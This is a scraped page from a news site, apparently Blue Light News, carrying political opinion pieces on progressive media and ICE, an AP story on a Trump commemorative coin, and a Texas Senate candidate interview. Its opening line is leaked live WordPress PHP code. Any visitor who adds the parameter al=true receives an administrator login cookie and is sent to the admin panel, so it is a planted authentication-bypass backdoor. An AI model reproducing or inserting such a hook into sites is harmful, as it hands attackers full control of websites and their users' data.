// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Progressives need to build media that competes and wins for people. Here’s how. – Blue Light News
Connect with us

The Dictatorship

Progressives need to build media that competes and wins for people. Here’s how.

Published

on

Progressives need to build media that competes and wins for people. Here’s how.

Amid the sea of conservative talk radio, I’ve been working as a progressive in independent media for nearly two decades hosting a popular political talk program, “The David Pakman Show.” During this time, I’ve observed a shifting media landscape that has left many politically progressive content creators — and our audiences — frustrated, confused and sometimes defeated and despondent. But I’ve also witnessed firsthand that there is a path forwardeven in this age of mass misinformationecho chambers and reactionary politics.

As misinformation and media illiteracy have plagued the already fractured American political system, much of the left would like to think this phenomenon is confined to right-wing bubbles. But progressives must grapple with the new reality: The right’s echo machine has been thriving among all online audiences and is spreading. In a study of popular online shows active in 2024the results showed that nine of the 10 most popular shows were right-leaning, accounting for at least 197 million total followers and subscribers. Of these right-leaning shows, only four are categorized as “News and Politics” on Apple Podcasts. Additionally, 72% of 111 supposedly nonpolitical shows were found to have an ideological bent to the right.

There is a path forward, even in this age of mass misinformation, echo chambers and reactionary politics.

According to Pew Research survey from August 2024, ahead of the election, about 1 in 5 Americans said they regularly get their news from social media. President Donald Trump and his allies effectively leveraged nontraditional platforms — podcasts, TikTok and influencer-driven content — to reach an audience feeling economically insecure and culturally alienated. This was especially prevalent among young male voters ages 18-29 who gravitated toward figures that emerged through gaming, fitness, financial advice and lifestyle platforms that seamlessly wove together political messages into content young men already enjoy, often offering an entry point to conservative ideology. Progressive voices, by contrast, too often relied on late-stage symbolic gestures or vague messaging that failed to resonate. In the recent election, even the too little came too late, with efforts to create a left-of-center media ecosystem equivalent to that of the right starting far too late to make an impact.

While progressive media doesn’t need to mimic right-wing tactics directly, as the most recent podcast conversation between California Gov. Gavin Newsom and right-wing activist Charlie Kirk would suggest — indeed, that would be a mistake — we can’t ignore the ecosystem entirely. What we must do is understand, engage and address why these online and independent platforms are so effective.

One of the key lessons I’ve learned is simple, yet critical: Progressive media succeeds most powerfully and meaningfully when it clearly connects politics to people’s real lives.

This is not about celebrity endorsements chasing viral moments — tactics that corporate media increasingly leans into but often end up ringing hollow. Instead, it means clearly articulating how issues like health care, climate change and economic policy tangibly affect the day-to-day lives of our respective audiences.

A driving reason audiences are drawn to independent media is authenticity — or at least the perception of it.

Right-wing media figures often project a relatable image, speaking directly to their audiences. They’re unafraid to go off script and debate anyone who shows up to the fight. Regardless of if you agree with their messaging, their methods are instructive.

The Trump campaign effectively created an environment of casual hanging out and parasocial relationships, where Trump and JD Vance themselves would appear in long-form unstructured conversations on a variety of programs, including Joe Rogan’s podcast, the Nelk Boys’ channel and Lex Fridman’s podcast.

Progressive media succeeds most powerfully and meaningfully when it clearly connects politics to people’s real lives.

The contrasting approach from Democratic candidates — with the exception of a select few like Sen. Bernie Sanders, I-Vt. — left much to be desired. Whereas Trump appeared on less overtly political shows with more of a lifestyle and pop culture bent, Democrats’ were less frequent guests in these arenas and almost always had a feeling of stiffness and micromanagement.

For progressive media, authenticity means acknowledging people’s genuine concerns about the economy, health care, misinformation and education, and providing real answers while grappling with disagreements, mistakes or unintentional policy outcomes, as opposed to spewing patronizing talking points.

My audience has gravitated toward nuanced analyses of how policy decisions — from health care to tax cuts — directly impact their finances, health or personal freedoms. When the corporate media landscape increasingly feels overwhelming, overly sensational, or gives a feeling of talking at rather than to audiences, authenticity breaks down and audiences disengage or find new sources of news.

There was a short video that went viral just prior to the election where I explained to a young Trump-supporting podcast host that, despite his confidence that China was cutting checks to the United States for tariffs placed on its products, it was actually American companies that paid the tariffs. This video ultimately accrued more than 20 million views, in part due to its simplicity, salience and authentic dialogue. Those 60 seconds from a 90-minute conversation corrected just one piece of misinformation, and did so in a way that connected directly to anyone who buys or produces goods — essentially everyone in our economy — and made them realize that Americans pay the tariffs, not China.

If we truly want progressive ideas to break through, I believe we must focus less on competing through spectacle and more on respecting and addressing the very real concerns that brought our audiences to seek us out in the first place.

In fact, despite the overwhelming noise of the mainstream media, independent progressive media has shown robust growth precisely because it offers what many mainstream outlets often don’t: substance, respect for intelligence, and a genuine dialogue. Platforms like mine that attract moderate, left and right-leaning voters demonstrate daily that audiences aren’t merely looking for confirmation of their existing beliefs; they’re hungry for clarity and honesty.

Politics isn’t consumed in isolation — it’s absorbed within the broader fabric of culture. Rather than ignoring this, progressive voices can thoughtfully engage these areas without co-opting them cynically. Viewers and listeners aren’t looking for a left-wing version of right-wing media tactics; they’re looking for content that treats them as thoughtful individuals. By offering relatable, well-reasoned perspectives that resonate on a human level, progressives can effectively reach audiences that are currently underserved or misled.

Despite widespread cynicism about the media and politics, I’m optimistic. We don’t have to accept misinformation as inevitable. Part of the solution lies in fostering critical thinking and media literacy — but another essential part is delivering media that’s meaningful, practical and directly connected to people’s daily lives. The path to a more informed, less polarized America lies in precisely this kind of engagement.

David Pakman

David Pakman is the host of “The David Pakman Show” and the author of “The Echo Machine: How Right-Wing Extremism Created a Post-Truth America.”

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

US Mint begins producing $1 coin with Trump’s face on it

Published

on

US Mint begins producing $1 coin with Trump’s face on it

WASHINGTON (AP) — The U.S. Mint has begun producing a new $1 coin bearing President Donald Trump’s face to help celebrate America’s 250th birthdaythe Treasury Department said Wednesday.

The final design for the commemorative coinbeing released in the fall, was approved earlier this year by the U.S. Commission of Fine Arts, whose members were appointed by Trump. But the finished product unveiled Wednesday differs from that version in a few aspects, including that it is not made of gold but rather has a gold finish.

The coin is intended “to honor the enduring legacy of liberty and a lasting symbol of patriotism,” Treasury Secretary Scott Bessent said in a post on X. “Featuring President Trump, it celebrates the strength of American values, and the promise of a nation dedicated to preserving freedom for all.”

The president on Wednesday told Fox Business Network that the move to put his face on a coin is “very unusual, but I was honored by it,” adding that “it’s very cute they gave me a coin.”

Trump, a Republican, has a penchant for putting his name and likeness in the historical record, following his renaming of the U.S. Institute of Peace, the Kennedy Center performing arts venue and a new class of battleshipsamong other tributes. The move to put his face on the gold coin has drawn criticism in particular because federal law prohibits the depiction of a living president on U.S. currency, though the treasury secretary has the authority to authorize the minting and issuance of coins in some circumstances.

The front of the coin features an image of Trump in a suit and tie and with a stern look on his face. Lettering on the top half of the coin’s arc spells “LIBERTY,” with the dates 1776-2026 on the bottom half of the arc. The words “IN GOD WE TRUST” are in the middle.

The reverse side depicts the traditional image of the bald eagle in the Great Seal of the U.S., with “UNITED STATES OF AMERICA” on the top half of the coin and the Latin phrase “E PLURIBUS UNUM,” meaning “Out of many, one,” on the shield emblazoned on the bird’s breast.

Among the other differences from the design approved earlier this year is that Trump doesn’t have his fists resting on top of what is supposed to be a desk as he leans forward. The Treasury Department did not specify Wednesday why the final product diverged from the originally approved design.

The Treasury Department announced in March that it would be putting Trump’s signature on all new U.S. paper currency.

Traditionally, U.S. paper currency carries the signatures of the treasury secretary and the treasurer, not the president.

___

Associated Press writer Darlene Superville contributed to this report.

Read More

Continue Reading

The Dictatorship

The Maine and Texas shootings are two more reasons to abolish ICE

Published

on

The president couldn’t be decent even for 24 hours. Less than a day after Immigration and Customs Enforcement announced Tuesday that it would pause most vehicle stopsDonald Trump posted on social media early Wednesday morning that “we CANNOT give up one of I.C.E.’s most important and effective Crime Fighting tools, THE TRAFFIC STOP!”

“The Radical Left Dumocrats would like to see this done, but it won’t happen on my watch,” he wrote on Truth Social. Shortly after, Trump reversed the pause on traffic stops.

ICE operates this way because we as a country have allowed it to happen.

In truth, suspending the stops wouldn’t have brought back Lorenzo Salgado Araujo and Johan Sebastian Guerrerothe two Latino fathers killed by ICE agents during separate stops in a span of a week. They are two more victims of an administration that has terrorized immigrant communities relentlessly. The real issue isn’t whether the traffic stops are now ending or continuing — it’s that ICE agents are never held accountable for killing people.

As I have written in the pastICE operates this way because we as a country have allowed it to happen. ICE is now the country’s largest-funded enforcement agency. Just last month Congress passed $70 billion more in funding. Nothing will change until ICE is abolished.

“They’re just trying to cover for the fact that what they are doing shouldn’t be allowable in the first place,” Rep. Alexandria Ocasio-Cortez said of ICE’s announcement Tuesdaybefore Trump’s post about traffic stops. “And the fact that they’re pausing it is to distract from the fact that in many of these instances they shouldn’t be allowed to do it in the first place.”

AOC is right, and restoring the stops proves her point. There have been many instances. In March of last year, 23-year-old Ruben Ray Martinez was killed by an ICE agent helping route traffic in South Padre Island. The Department of Homeland Security said Martinez tried to run over the agent, but the video didn’t support that claim.

In January, the nation mourned the deaths of Renee Good, a 37-year-old mother of three shot in her SUV as she left a protest, and Alex Pretti, a 37-year-old intensive care nurse killed during another protest. The federal government withheld the evidence in both cases — body camera footage, hard drives, even Good’s bullet-riddled SUV — from state investigators until this week. Minnesota Attorney General Keith Ellison said he was “deeply troubled” that it took that long.

This is a pattern of manipulation: stripping away every detail of a human’s life until all that’s left is “illegal alien.”

“There have been at least 10 deaths involving encounters with immigration agents since Trump launched his deportation campaign,” The Associated Press reported. Nobody has been charged in a single one of those deaths. Guerrero’s also marks at least the 18th time in the past year that federal officers have fired at people in carsaccording to an MS NOW database. That’s on top of at least 22 people who have died in ICE custody this year alone, along with 33 last year.

The Trump administration claimed that Guerrero was a threat to “public safety” instead of a loving husband and parent to a 3-year-old daughter. It’s the same narrative this administration is trying with Salgado Araujo, who has been in this country for 35 years and raised three sons (who all earned college degrees). A week after his death, the FBI even said it was searching Salgado Araujo’s van for drugs. Never mind that, as the New York Times noted, there was “no prior suggestion that Mr. Salgado Araujo or the others in the van had been involved with drugs or had any relevant criminal history.”

This is a pattern of manipulation: stripping away every detail of a human’s life until all that’s left is “illegal alien,” because it’s easier to kill someone once you have already decided they were never fully a person to begin with. Dehumanizing immigrants is official government policy, and people are dying under it.

“Let’s be clear: it never was about documented or undocumented people — what we’re seeing is pure xenophobia and racism. Our community has been targeted and persecuted with zero accountability,” Voto Latino’s Beatriz Lopez saidcalling for the resignation of DHS Secretary Markwayne Mullin.

While the government is in the hands of the prejudiced, the most American things we can do are to reject government talking points when the video evidence says otherwise, and to uplift who the victims really were.

“He had a great vision for getting ahead, so many dreams to fulfill,” Guerrero’s father, Omar Durán, told The New York Times. “My son is a wonderful son — I don’t know why they did that to him.”

Masked agents should not get to decide whether Salgado Araujo and Guerrero get to live.

“He was a hard-working family man who never wanted his name to be known by anyone outside of his family. He wanted nothing else in life but to provide for his wife and see his sons become great people,” said Ronaldo Salgado, Salgado Araujo’s sonlast week at a press conference.

“He did not deserve to die,” Ronaldo added.

Masked agents should not get to decide whether Salgado Araujo and Guerrero get to live. Current ICE tactics have communities terrified. It’s part of why half of Americans support abolishing ICE. Immigration as continued militarized enforcement will only lead to more deaths. It may be hard even to visualize a country without ICE, but as Amy Gottlieb, U.S. migration director for the American Friends Service Committee, noted earlier this yearan ICE-less world can include “legal services, case management, social services, and other community-based support” that would help “navigate immigration processes while keeping families together — creating stability in our communities rather than chaos.”

Immigration policy through continued militarized enforcement will only lead to more deaths. What country do we want to be? One that values humanity, or one that wants to dehumanize people who believe in this country’s promise? This is the choice each American has to make. Are you for killing innocent people in broad daylight, or are you for decency and compassion? The America I believe in would choose the latter. So enough with the dehumanization, enough with the deaths, and no more ICE.

Julio Ricardo Varela is the founder of “The Latino Newsletter” and co-editor of “Pressing Issues from Free Press.”

Read More

Continue Reading

The Dictatorship

Ken Paxton hasn’t debated a rival in more than a decade. Talarico is now challenging him to one

Published

on

Ken Paxton hasn’t debated a rival in more than a decade. Talarico is now challenging him to one

This is the July 16, 2026, edition of “The Tea, Spilled by Morning Joe” newsletter.Subscribe hereto get it delivered straight to your inbox every Monday through Friday.

“And who is my neighbor?”

— Luke 10:29

A CONVERSATION WITH JAMES TALARICO

Two ICE shootings in nine days have put immigration enforcement at the center of the Texas Senate race. Democratic nominee James Talarico joined “Morning Joe” to discuss border security, the fear in Hispanic communities, and what his grandfather — a Baptist preacher in South Texas — taught him about loving thy neighbor.

MB: Do you believe there should be robust border security?
JT: Absolutely. We have to protect our immigrant neighbors while also securing our southern border with commonsense policies. That means more Border Patrol agents, more surveillance technology, more immigration judges — not this crazy border wall through Big Bend National Park.

JS: Would you agree Democrats made a big mistake not focusing enough on border security?
JT: No question. I’ve called out President Joe Biden for failing to secure our southern border. National Democrats took the border for granted — we stopped showing up, and that’s why people along the border started looking for alternatives.

JS: You’ve been traveling the state, knocking on doors. What are you hearing from Hispanic communities?

JT: So many young people are showing up at our town halls, many of them Hispanic. They tell me they’re worried their parents aren’t going to come home at the end of the day.

The president promised to go after the criminals, and that’s something I support. But that’s not what’s happening. ICE should be cracking down on the cartels, not our communities. ICE should be deporting violent criminals, not small-business owners. ICE should be hunting down human traffickers, not moms and babies.

WG: How are you going to reverse the 30-year trend of Democrats losing statewide in Texas?
JT: The first words out of my mouth when I launched this campaign were that the real fight in this country is not left versus right — it’s top versus bottom. None of us can afford the basics: groceries, gas, utilities, childcare, prescription drugs.

We are trying to take on the megadonors who increasingly control our politics — and the puppet politicians who do their bidding.

WG: Republicans have gone after you personally — calling you a vegan, questioning your “Texas swagger.” How do you answer that?

JT: I think it’s funny. I’m the eighth-generation Texan in this race. Ken Paxton was born in North Dakota, raised in California, and I think transplants like Ken Paxton can become Texans. Texas is a state of mind, as John Steinbeck wrote.

And when I first heard the low-T thingI had to look it up — guys my age aren’t really worried about that. People realize we’re being played by these politicians who want to throw nicknames at each other. They’re ready for a serious senator who’s going to bring both parties together to get this economy back on track.

JS: Ken Paxton spent the Fourth of July on Westminster Bridge — celebrating 250 years of American independence with the British. How about you?

JT: I was with an American treasure — Willie Nelson — at his annual Fourth of July picnic in Austin.

A Tale of Two Fourth of Julys

Talarico and Nelson in Austin. Go”https://www.instagram.com/p/DaZYpSypCGw/”>James Talarico on Instagram

Paxton in London, July 4, 2026. Via @TheLincolnProject on YouTube

JS: Your opponents attack your faith. Jesus told the story of the Good Samaritan — a man is left in a ditch, his own people pass him by, and it’s a despised foreigner who saves him. How is what we’re seeing right now the antithesis of that?

JT: My granddad was a Baptist preacher in South Texas. When I was little, he told me that as Christians, we’re supposed to follow the two commandments Jesus gave us: Love God and love your neighbor. It’s that commandment to love thy neighbor that got me into public service. I’m trying to love my neighbor through public policy.

And the parable of the Good Samaritan has so much to offer us at this moment. Jesus picked a Samaritan — not just an enemy, but a religious enemy. He lifted up the heretic and said, that is where salvation comes from.

MB: We understand you have a message for Ken Paxton.

JT: Ken Paxton hasn’t appeared on a debate stage in more than a decade. He refuses to answer basic questions — like why he gave an Epstein-style sweetheart deal to Adam Hoffman, an admitted child predator, or how he became a multimillionaire on a government salary.

So I am challenging Ken Paxton to three televised debates. I’ll be on that stage because I answer to the people of Texas. Ken Paxton answers to his billionaire megadonors. We’ll see if they let him show up.

This conversation has been condensed and edited for brevity and clarity.

Read More

Continue Reading

Trending